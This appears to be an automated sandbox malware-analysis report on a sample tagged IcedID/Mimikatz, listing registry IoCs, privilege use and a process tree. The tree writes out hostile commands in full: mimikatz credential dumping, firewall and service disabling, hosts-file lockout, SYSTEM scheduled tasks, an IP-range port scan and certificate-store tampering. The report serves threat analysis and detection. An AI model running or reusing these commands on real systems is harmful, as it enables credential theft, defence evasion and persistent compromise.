\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BA5A08C5-6DE7-4FDD-AA71-448132A87F3F}\52-30-b7-e3-fe-92 pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BA5A08C5-6DE7-4FDD-AA71-448132A87F3F}\WpadDecisionTime = 80af77339a90da01 pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-30-b7-e3-fe-92\WpadDecision = "0" pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BA5A08C5-6DE7-4FDD-AA71-448132A87F3F} pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs pfseynr.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" pfseynr.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 pfseynr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 pfseynr.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2496 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1648 pfseynr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
description pid Process Token: SeDebugPrivilege 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2624 pfseynr.exe Token: SeDebugPrivilege 2556 pfseynr.exe Token: SeDebugPrivilege 2968 vfshost.exe Token: SeAuditPrivilege 2568 svchost.exe Token: SeDebugPrivilege 2948 rilkvsrev.exe Token: SeShutdownPrivilege 2948 rilkvsrev.exe Token: SeLockMemoryPrivilege 2612 eeknlv.exe Token: SeLockMemoryPrivilege 2612 eeknlv.exe Token: SeDebugPrivilege 1720 rilkvsrev.exe Token: SeShutdownPrivilege 1720 rilkvsrev.exe Token: SeDebugPrivilege 1228 rilkvsrev.exe Token: SeShutdownPrivilege 1228 rilkvsrev.exe Token: SeDebugPrivilege 1968 rilkvsrev.exe Token: SeShutdownPrivilege 1968 rilkvsrev.exe Token: SeDebugPrivilege 2516 rilkvsrev.exe Token: SeShutdownPrivilege 2516 rilkvsrev.exe Token: SeDebugPrivilege 2816 rilkvsrev.exe Token: SeShutdownPrivilege 2816 rilkvsrev.exe Token: SeDebugPrivilege 2952 rilkvsrev.exe Token: SeShutdownPrivilege 2952 rilkvsrev.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 2624 pfseynr.exe 2624 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 1352 xohudmc.exe 876 dqljao.exe 1648 pfseynr.exe 1648 pfseynr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2204 wrote to memory of 2220 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 28 PID 2204 wrote to memory of 2220 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 28 PID 2204 wrote to memory of 2220 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 28 PID 2204 wrote to memory of 2220 2204 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe 28 PID 2220 wrote to memory of 2496 2220 cmd.exe 30 PID 2220 wrote to memory of 2496 2220 cmd.exe 30 PID 2220 wrote to memory of 2496 2220 cmd.exe 30 PID 2220 wrote to memory of 2496 2220 cmd.exe 30 PID 2220 wrote to memory of 2624 2220 cmd.exe 31 PID 2220 wrote to memory of 2624 2220 cmd.exe 31 PID 2220 wrote to memory of 2624 2220 cmd.exe 31 PID 2220 wrote to memory of 2624 2220 cmd.exe 31 PID 2556 wrote to memory of 2088 2556 pfseynr.exe 33 PID 2556 wrote to memory of 2088 2556 pfseynr.exe 33 PID 2556 wrote to memory of 2088 2556 pfseynr.exe 33 PID 2556 wrote to memory of 2088 2556 pfseynr.exe 33 PID 2088 wrote to memory of 2432 2088 cmd.exe 35 PID 2088 wrote to memory of 2432 2088 cmd.exe 35 PID 2088 wrote to memory of 2432 2088 cmd.exe 35 PID 2088 wrote to memory of 2432 2088 cmd.exe 35 PID 2088 wrote to memory of 2596 2088 cmd.exe 36 PID 2088 wrote to memory of 2596 2088 cmd.exe 36 PID 2088 wrote to memory of 2596 2088 cmd.exe 36 PID 2088 wrote to memory of 2596 2088 cmd.exe 36 PID 2088 wrote to memory of 2824 2088 cmd.exe 37 PID 2088 wrote to memory of 2824 2088 cmd.exe 37 PID 2088 wrote to memory of 2824 2088 cmd.exe 37 PID 2088 wrote to memory of 2824 2088 cmd.exe 37 PID 2088 wrote to memory of 2540 2088 cmd.exe 38 PID 2088 wrote to memory of 2540 2088 cmd.exe 38 PID 2088 wrote to memory of 2540 2088 cmd.exe 38 PID 2088 wrote to memory of 2540 2088 cmd.exe 38 PID 2088 wrote to memory of 2572 2088 cmd.exe 39 PID 2088 wrote to memory of 2572 2088 cmd.exe 39 PID 2088 wrote to memory of 2572 2088 cmd.exe 39 PID 2088 wrote to memory of 2572 2088 cmd.exe 39 PID 2088 wrote to memory of 2516 2088 cmd.exe 40 PID 2088 wrote to memory of 2516 2088 cmd.exe 40 PID 2088 wrote to memory of 2516 2088 cmd.exe 40 PID 2088 wrote to memory of 2516 2088 cmd.exe 40 PID 2556 wrote to memory of 2424 2556 pfseynr.exe 41 PID 2556 wrote to memory of 2424 2556 pfseynr.exe 41 PID 2556 wrote to memory of 2424 2556 pfseynr.exe 41 PID 2556 wrote to memory of 2424 2556 pfseynr.exe 41 PID 2556 wrote to memory of 2452 2556 pfseynr.exe 43 PID 2556 wrote to memory of 2452 2556 pfseynr.exe 43 PID 2556 wrote to memory of 2452 2556 pfseynr.exe 43 PID 2556 wrote to memory of 2452 2556 pfseynr.exe 43 PID 2556 wrote to memory of 1824 2556 pfseynr.exe 45 PID 2556 wrote to memory of 1824 2556 pfseynr.exe 45 PID 2556 wrote to memory of 1824 2556 pfseynr.exe 45 PID 2556 wrote to memory of 1824 2556 pfseynr.exe 45 PID 2556 wrote to memory of 2784 2556 pfseynr.exe 47 PID 2556 wrote to memory of 2784 2556 pfseynr.exe 47 PID 2556 wrote to memory of 2784 2556 pfseynr.exe 47 PID 2556 wrote to memory of 2784 2556 pfseynr.exe 47 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2784 wrote to memory of 2808 2784 cmd.exe 49 PID 2808 wrote to memory of 308 2808 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:304
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C:\Windows\TEMP\ncelurtrj\eeknlv.exe"C:\Windows\TEMP\ncelurtrj\eeknlv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2612
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C:\Users\Admin\AppData\Local\Temp\2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ykuemqcz\pfseynr.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2496
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C:\Windows\ykuemqcz\pfseynr.exeC:\Windows\ykuemqcz\pfseynr.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2624
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C:\Windows\ykuemqcz\pfseynr.exeC:\Windows\ykuemqcz\pfseynr.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2432
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2596
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2824
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2540
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2572
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2516
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2424
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:2452
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:1824
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exeC:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:308
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2316
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:824
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2612
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1240
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:1328
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2748
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2232
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1760
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1764
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:620
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3000
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2092
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1632
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt2⤵
- Loads dropped DLL
PID:2444 -
C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exeC:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1916
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\rbggpfcfq\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1652 -
C:\Windows\rbggpfcfq\Corporate\vfshost.exeC:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2968
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"2⤵PID:1536
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1700
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"3⤵
- Creates scheduled task(s)
PID:2644
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"2⤵PID:1052
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1732
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1580
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"2⤵PID:2928
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1668
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1128
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:2372
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1712
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2692
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2632
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2096
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2416
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2424
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C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exeC:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 304 C:\Windows\TEMP\rbggpfcfq\304.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:548
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2792
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:1960
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2316
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:1288
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:748
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:368
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2264
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:240
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2820
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2060
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1292
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:2896
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:1772
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:3068
